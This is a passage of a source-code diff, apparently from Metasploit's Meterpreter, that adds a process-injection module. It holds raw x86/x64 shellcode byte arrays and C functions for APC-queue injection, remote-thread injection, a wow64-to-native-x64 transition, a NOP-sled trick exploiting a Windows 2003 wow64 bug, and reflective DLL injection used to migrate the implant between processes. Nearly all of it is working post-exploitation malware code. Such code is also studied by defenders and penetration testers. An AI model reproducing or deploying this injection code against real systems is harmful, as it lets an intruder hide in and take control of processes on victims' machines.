BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread failed" ) BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
} }
/*
// Wait at most 15 seconds for the event to be set letting us know that it's finished
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
// Signal the main server thread to begin the shutdown as migration has been successfull.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
thread_sigterm( serverThread );
*/
// Signal the main server thread to begin the shutdown as migration has been successfull. // Signal the main server thread to begin the shutdown as migration has been successfull.
// If the thread is not killed, the pending packet_receive prevents the new process // If the thread is not killed, the pending packet_receive prevents the new process
@ -711,8 +203,9 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
// Unfortunately, its too late to do anything about a failure at this point // Unfortunately, its too late to do anything about a failure at this point
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 ) if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover"); dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
// BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
dwResult = ERROR_SUCCESS; dwResult = ERROR_SUCCESS;
} while( 0 ); } while( 0 );
// If we failed and have not sent the response, do so now // If we failed and have not sent the response, do so now

View File

@ -0,0 +1,558 @@
#include "common.h"
#include "base_inject.h"
#include "./../../../../ReflectiveDLLInjection/LoadLibraryR.h"
#include <Tlhelp32.h>
// Simple trick to get the current meterpreters arch
#ifdef _WIN64
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
#else
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
#endif
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00";
/*
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
*/
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HMODULE hNtdll = NULL;
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
HANDLE hThreadSnap = NULL;
LPVOID lpApcStub = NULL;
LPVOID lpRemoteApcStub = NULL;
LPVOID lpRemoteApcContext = NULL;
LIST * thread_list = NULL;
THREADENTRY32 t = {0};
APCCONTEXT ctx = {0};
DWORD dwApcStubLength = 0;
do
{
thread_list = list_create();
if( !thread_list )
break;
ctx.s.lpStartAddress = lpStartAddress;
ctx.p.lpParameter = lpParameter;
ctx.bExecuted = FALSE;
t.dwSize = sizeof( THREADENTRY32 );
// Get the architecture specific apc migration stub...
if( dwDestinationArch == PROCESS_ARCH_X86 )
{
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
{
// injecting x64->x86(wow64)
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
}
else
{
// injecting x86->x86
lpApcStub = &apc_stub_x86;
dwApcStubLength = sizeof( apc_stub_x86 );
}
}
else if( dwDestinationArch == PROCESS_ARCH_X64 )
{
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
lpApcStub = &apc_stub_x64;
dwApcStubLength = sizeof( apc_stub_x64 );
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
{
// injecting x86(wow64)->x64
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
// will simply fail gracefully on systems where the technique does not work.
MEMORY_BASIC_INFORMATION mbi = {0};
LPVOID lpRemoteAddress = NULL;
BYTE * lpNopSled = NULL;
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
/*
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
// injection will continue as normal.
// The registers on the native x64 process after the queued APC is attempted to run:
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
rdx = dwApcStatusBlock // unused
r8 = dwApcReserved // unused
// On the WOW64 process side:
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
wow64:000000006B0095F0
wow64:000000006B0095F0 public Wow64ApcRoutine
// On the native x64 process side:
ntdll:0000000077EF30A0 public KiUserApcDispatcher
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
ntdll:0000000077EF30AE mov r9, rsp
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
// Our bStub:
00000000 4889C8 mov rax, rcx
00000003 48C1E120 shl rcx, 32
00000007 48C1E920 shr rcx, 32
0000000B 48C1E820 shr rax, 32
0000000F FFE0 jmp rax
*/
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteAddress )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
if( !lpNopSled )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
memset( lpNopSled, 0x90, mbi.RegionSize );
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
free( lpNopSled );
}
}
else
{
SetLastError( ERROR_BAD_ENVIRONMENT );
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
}
hNtdll = LoadLibraryA( "ntdll" );
if( !hNtdll )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
if( !pNtQueueApcThread )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( !hThreadSnap )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
if( !Thread32First( hThreadSnap, &t ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
// Allocate memory for the apc stub and context
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteApcStub )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
// Simply determine the apc context address
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
// Write the apc stub to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
// Write the apc context to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
do
{
HANDLE hThread = NULL;
// Only proceed if we are targeting a thread in the target process
if( t.th32OwnerProcessID != dwProcessID )
continue;
// Open a handle to this thread so we can do the apc injection
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
if( !hThread )
continue;
dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
if( SuspendThread( hThread ) != (DWORD)-1 )
{
list_push( thread_list, hThread );
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
dwResult = ERROR_SUCCESS;
}
else
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
}
}
else
{
CloseHandle( hThread );
}
// keep searching for more target threads to inject our apc stub into...
} while( Thread32Next( hThreadSnap, &t ) );
} while( 0 );
if( dwResult == ERROR_SUCCESS && remote && response )
{
// We should only run this block if we are being used for migration...
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
packet_transmit_response( ERROR_SUCCESS, remote, response );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
}
if( thread_list )
{
// Resume all the threads which we queued our apc into as the remote
// client side will now be ready to handle the new ssl conenction.
while( TRUE )
{
HANDLE t = (HANDLE)list_pop( thread_list );
if( !t )
break;
ResumeThread( t );
CloseHandle( t );
}
list_destroy( thread_list );
}
if( hThreadSnap )
CloseHandle( hThreadSnap );
if( hNtdll )
FreeLibrary( hNtdll );
SetLastError( dwResult );
return dwResult;
}
/*
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
* enviroment into a native x64 enviroment and accessing the native win64 API's.
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
*/
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
{
DWORD dwResult = ERROR_SUCCESS;
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT * ctx = NULL;
OSVERSIONINFO os = {0};
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
// filter out Windows 2003
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
}
// alloc a RWX buffer in this process for the EXECUTEX64 function
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pExecuteX64 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pX64function )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
// copy over the wow64->x64 stub
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
// copy over the native x64 function
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
// set the context
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
ctx->h.hProcess = hProcess;
ctx->s.lpStartAddress = lpStartAddress;
ctx->p.lpParameter = lpParameter;
ctx->t.hThread = NULL;
dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
// Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
}
if( !ctx->t.hThread )
{
SetLastError( ERROR_INVALID_HANDLE );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
}
// Success! grab the new thread handle from of the context
*pThread = ctx->t.hThread;
dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
} while( 0 );
if( pExecuteX64 )
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
if( pX64function )
VirtualFree( pX64function, 0, MEM_DECOMMIT );
return dwResult;
}
/*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
do
{
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
if( !hThread )
{
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
{
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
}
else
{
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
}
}
if( remote && response )
{
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
packet_transmit_response( ERROR_SUCCESS, remote, response );
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
}
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
// Resume the injected thread...
if( ResumeThread( hThread ) == (DWORD)-1 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
} while( 0 );
if( hThread )
CloseHandle( hThread );
SetLastError( dwResult );
return dwResult;
}
/*
* Inject a DLL image into a process via Reflective DLL Injection.
*
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
* in stdapi will handle this automatically.
*
* Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's
* in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset()
* will check for this and fail gracefully.
*
* Note: This function largely depreciates LoadRemoteLibraryR().
*/
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
LPVOID lpRemoteCommandLine = NULL;
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
LPVOID lpReflectiveLoader = NULL;
DWORD dwReflectiveLoaderOffset = 0;
do
{
if( !lpDllBuffer || !dwDllLenght )
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
if( !dwReflectiveLoaderOffset )
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
if( !hProcess )
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
if( cpCommandLine )
{
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
}
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
// First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
{
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
// If that fails we can try to migrate via a queued APC in the target process
if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
}
dwResult = ERROR_SUCCESS;
} while( 0 );
if( hProcess )
CloseHandle( hProcess );
return dwResult;
}

View File

@ -0,0 +1,84 @@
//===============================================================================================//
#ifndef _METERPRETER_BASE_INJECT_H
#define _METERPRETER_BASE_INJECT_H
//===============================================================================================//
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
// The three injection techniques currently supported.
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
#define MIGRATE_TECHNIQUE_APCQUEUE 2
//===============================================================================================//
// Definition of ntdll!NtQueueApcThread
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
//===============================================================================================//
// The context used for injection via migrate_via_apcthread
typedef struct _APCCONTEXT
{
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
BYTE bExecuted;
} APCCONTEXT, * LPAPCCONTEXT;
// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT
{
union
{
HANDLE hProcess;
BYTE bPadding2[8];
} h;
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
union
{
HANDLE hThread;
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;
//===============================================================================================//
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -252,7 +252,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
